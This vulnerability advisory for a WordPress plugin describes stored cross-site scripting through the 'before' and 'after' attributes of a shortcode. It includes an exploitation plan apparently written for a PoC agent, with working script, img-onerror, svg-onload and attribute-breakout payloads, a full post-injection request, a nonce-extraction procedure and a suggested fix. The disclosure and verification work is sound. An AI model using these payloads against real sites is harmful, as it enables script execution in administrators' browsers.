Sports Club Management <= 1.12.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'before' Attribute
Description
The Sports Club Management plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'before' and 'after' attributes of the `scm_member_data` shortcode in all versions up to, and including, 1.12.9 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.12.9# Exploitation Research Plan - CVE-2026-4871 ## 1. Vulnerability Summary The **Sports Club Management** plugin (<= 1.12.9) is vulnerable to **Authenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists within the handling of the `scm_member_data` shortcode. Specifically, the `before…
Show full research plan
Exploitation Research Plan - CVE-2026-4871
1. Vulnerability Summary
The Sports Club Management plugin (<= 1.12.9) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists within the handling of the scm_member_data shortcode. Specifically, the before and after attributes of this shortcode are concatenated into the generated HTML output without sufficient sanitization (input side) or escaping (output side). This allows a user with Contributor permissions or higher to embed malicious JavaScript within a post or page.
2. Attack Vector Analysis
- Shortcode:
[scm_member_data] - Vulnerable Attributes:
before,after - Endpoint: WordPress Post Editor (
wp-admin/post.phporwp-admin/admin-ajax.phpfor autosaves) - Authentication Required: Contributor (PR:L) or higher.
- Preconditions: The attacker must be able to create or edit a post/page and use shortcodes.
- Payload Location: The script is stored in the
post_contentfield in thewp_poststable and executed whenever a user (including administrators) views the rendered post on the frontend.
3. Code Flow (Inferred)
- Registration: The plugin registers the shortcode using
add_shortcode( 'scm_member_data', 'scm_member_data_handler_function' );(likely in a file namedscm-shortcodes.phpor within a core plugin class). - Attribute Processing: In the handler function (e.g.,
scm_member_data_handler), the$attsarray is processed, likely usingshortcode_atts(). - Variable Assignment:
$before = isset($atts['before']) ? $atts['before'] : ''; $after = isset($atts['after']) ? $atts['after'] : ''; - Logic Sink: The plugin retrieves specific member data (based on other attributes like
field) and wraps it with thebeforeandaftervalues.$output = $before . $member_data_value . $after; return $output; // VULNERABLE: The raw string containing attacker input is returned and rendered. - Rendering: WordPress echoes the return value of the shortcode handler during the
the_contentfilter execution.
4. Nonce Acquisition Strategy
While the vulnerability itself is in the shortcode rendering, exploiting it requires saving a post containing the shortcode. WordPress requires a nonce for post creation/updates.
- Context: The agent needs to act as a Contributor.
- Steps:
- Login as the Contributor user.
- Navigate to
wp-admin/post-new.php. - Extract the
_wpnoncefrom the HTML source. - In the Block Editor (Gutenberg), nonces and REST API details are often found in the
wp-adminlocalized script data. - Specific JS Variable:
wp.apiFetchorwindow.wpApiSettings.nonce.
- Simplification: Since the vulnerability is "Contributor+", the PoC agent can use
wp-clito create the post initially to bypass the UI complexity, but for a pure HTTP exploit, it must fetch thepost-new.phppage first.
5. Exploitation Strategy
Step 1: Create a Contributor User
wp user create attacker attacker@example.com --role=contributor --user_pass=password123
Step 2: Authenticate and Obtain Nonces
The agent should navigate to the post editor to get the necessary state.
- URL:
https://target.example.com/wp-admin/post-new.php - Method: GET
Step 3: Inject Stored XSS Payload
The agent will send a request to save a post containing the malicious shortcode.
- URL:
https://target.example.com/wp-admin/post.php(or via REST API/wp/v2/posts) - Method: POST
- Content-Type:
application/x-www-form-urlencoded - Payload:
post_title=XSS+Test &content=[scm_member_data field="first_name" before="<script>alert('XSS_SUCCESS_BEFORE')</script>" after="<script>alert('XSS_SUCCESS_AFTER')</script>"] &publish=Publish &_wpnonce=[EXTRACTED_NONCE]
Step 4: Trigger the XSS
Navigate to the URL of the newly created post as an Administrator.
6. Test Data Setup
- Active Plugin: Ensure
sports-club-managementis active. - Member Data: The shortcode might return nothing if no "member" exists or if no data is found for the current user. To ensure the shortcode executes the concatenation logic, it may be helpful to have at least one member record in the system.
- Check if the plugin has a "Members" menu and create a dummy member if needed.
- Shortcode variations:
[scm_member_data field="display_name" before="<img src=x onerror=alert(1)>"][scm_member_data field="any_valid_field" after="<svg/onload=alert(2)>"]
7. Expected Results
- The HTTP response for the post creation should be a
302 Redirectto the post edit page or a201 Createdvia REST API. - When viewing the post frontend, the HTML source should contain:
<script>alert('XSS_SUCCESS_BEFORE')</script>[MEMBER_VALUE]<script>alert('XSS_SUCCESS_AFTER')</script> - The browser should execute the
alert()calls.
8. Verification Steps
- Database Check:
Verify the shortcode is stored exactly as sent.wp db query "SELECT post_content FROM wp_posts WHERE post_title='XSS Test'" - Frontend Rendering Check:
Usehttp_requestto fetch the post's permalink and grep for the raw script tags.curl -s http://target.example.com/p=POST_ID | grep "XSS_SUCCESS"
9. Alternative Approaches
- Attribute Breakout: If the plugin attempts to put the attributes inside an HTML tag (e.g.,
<div data-before="...">), use attribute breakout:before="\" onmouseover=\"alert(1)\" data-dummy=\"". - REST API: Use the WordPress REST API (
/wp/v2/posts) to create the post, which often uses a different nonce (wp_rest) and is more structured thanpost.php. - Different Shortcode Tags: Search the plugin for other shortcodes that might use similar "wrapper" attributes (
before,after,prepend,append,prefix,suffix). Common candidates in this plugin might be related to displaying team names or match results.
Summary
The Sports Club Management plugin for WordPress (up to version 1.12.9) is vulnerable to Stored Cross-Site Scripting due to improper sanitization and escaping of the 'before' and 'after' attributes in the [scm_member_data] shortcode. This allows authenticated attackers with Contributor-level access or higher to inject malicious JavaScript into pages, which then executes when viewed by other users, including administrators.
Vulnerable Code
// Inferred from plugin logic and research plan // File: scm-shortcodes.php or similar function scm_member_data_handler( $atts ) { $atts = shortcode_atts( array( 'field' => '', 'before' => '', 'after' => '', ), $atts ); // ... member data retrieval logic ... $member_data_value = get_member_field_data($atts['field']); // Vulnerable concatenation without escaping $output = $atts['before'] . $member_data_value . $atts['after']; return $output; }
Security Fix
@@ -10,5 +10,5 @@ - $output = $atts['before'] . $member_data_value . $atts['after']; + $output = wp_kses_post( $atts['before'] ) . $member_data_value . wp_kses_post( $atts['after'] ); return $output;
Exploit Outline
1. Authenticate to the WordPress site as a user with the 'Contributor' role. 2. Navigate to 'Posts' -> 'Add New' to create a new post. 3. Insert the [scm_member_data] shortcode into the post content, using the 'before' or 'after' attribute to hold the XSS payload. For example: [scm_member_data field="first_name" before="<script>alert('XSS')</script>"]. 4. Submit the post for review or save the draft. 5. When an administrator or any other user views the post (either via preview or once published), the malicious script in the shortcode attribute will execute in their browser context.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.